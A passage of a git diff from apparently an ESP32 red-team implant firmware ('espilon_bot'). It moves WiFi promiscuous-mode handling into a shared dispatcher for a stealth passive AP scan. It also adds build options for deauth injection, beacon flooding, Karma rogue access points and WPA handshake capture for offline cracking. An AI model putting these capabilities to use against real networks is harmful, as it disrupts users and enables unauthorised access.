idempotent). */ +void rt_promisc_init(void); + +/* Register a handler. Returns ESP_ERR_NO_MEM if table is full. */ +esp_err_t rt_promisc_register(const rt_promisc_handler_t *h); + +/* Unregister a handler (matched by callback pointer). */ +esp_err_t rt_promisc_unregister(const rt_promisc_handler_t *h); + +/* Enable promiscuous mode with the combined filter of all registered handlers. */ +esp_err_t rt_promisc_enable(void); + +/* Disable promiscuous mode. */ +esp_err_t rt_promisc_disable(void); + +/* Switch to a specific WiFi channel (1-14). */ +esp_err_t rt_promisc_set_channel(uint8_t channel); + +/* True if promiscuous mode is currently active. */ +bool rt_promisc_is_enabled(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_stealth.c b/espilon_bot/components/mod_redteam/rt_stealth.c index e48d558..b9ce8a9 100644 --- a/espilon_bot/components/mod_redteam/rt_stealth.c +++ b/espilon_bot/components/mod_redteam/rt_stealth.c @@ -14,6 +14,8 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" +#include "rt_promisc.h" + static const char *TAG = "RT_STEALTH"; /* ============================================================ @@ -199,30 +201,32 @@ static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t typ s_scan_count++; } +/* Handler descriptor for the promiscuous dispatcher */ +static const rt_promisc_handler_t s_scan_handler = { + .cb = passive_scan_cb, + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT, + .tag = "stealth_scan", +}; + int rt_stealth_passive_scan(int duration_ms) { s_scan_count = 0; memset(s_scan_results, 0, sizeof(s_scan_results)); - /* Enable promiscuous mode */ + /* Register our callback with the shared dispatcher */ esp_wifi_disconnect(); vTaskDelay(pdMS_TO_TICKS(100)); - esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb); + esp_err_t ret = rt_promisc_register(&s_scan_handler); if (ret != ESP_OK) { - ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret)); + ESP_LOGE(TAG, "Promisc register failed: %s", esp_err_to_name(ret)); return 0; } - /* Filter management frames only (beacons, probe responses) */ - wifi_promiscuous_filter_t filter = { - .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT - }; - esp_wifi_set_promiscuous_filter(&filter); - - ret = esp_wifi_set_promiscuous(true); + ret = rt_promisc_enable(); if (ret != ESP_OK) { - ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret)); + ESP_LOGE(TAG, "Promisc enable failed: %s", esp_err_to_name(ret)); + rt_promisc_unregister(&s_scan_handler); return 0; } @@ -235,14 +239,15 @@ int rt_stealth_passive_scan(int duration_ms) while (elapsed < duration_ms) { for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) { - esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); + rt_promisc_set_channel(ch); vTaskDelay(pdMS_TO_TICKS(hop_ms)); elapsed += hop_ms; } } - /* Disable promiscuous mode */ - esp_wifi_set_promiscuous(false); + /* Cleanup: unregister and disable if we were the only user */ + rt_promisc_unregister(&s_scan_handler); + rt_promisc_disable(); ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count); return s_scan_count; diff --git a/espilon_bot/main/Kconfig b/espilon_bot/main/Kconfig index c3f261c..790f189 100644 --- a/espilon_bot/main/Kconfig +++ b/espilon_bot/main/Kconfig @@ -160,6 +160,44 @@ config MODULE_REDTEAM Offensive red team capabilities: WiFi attacks, network MITM, covert exfiltration, implant management. +menu "Red Team Settings" + depends on MODULE_REDTEAM + +config RT_STEALTH + bool "Stealth features (MAC random, low TX, passive scan)" + default y + +config RT_MESH + bool "ESP-NOW mesh relay between agents" + default n + +config RT_DEAUTH + bool "802.11 deauth frame injection" + default y + help + Send deauthentication frames to disconnect clients from APs. + +config RT_BEACON + bool "802.11 beacon flood" + default y + help + Spam fake beacon frames to flood WiFi scanners with bogus SSIDs. + +config RT_KARMA + bool "Karma attack (fake AP from probe requests)" + default y + help + Listen for probe requests and respond as the requested AP. + Lures clients into connecting to our rogue access point. + +config RT_CAPTURE + bool "WPA 4-way handshake capture" + default y + help + Capture WPA/WPA2 EAPOL handshake frames for offline cracking. + +endmenu + config MODULE_CANBUS bool "CAN Bus Module (MCP2515)" default n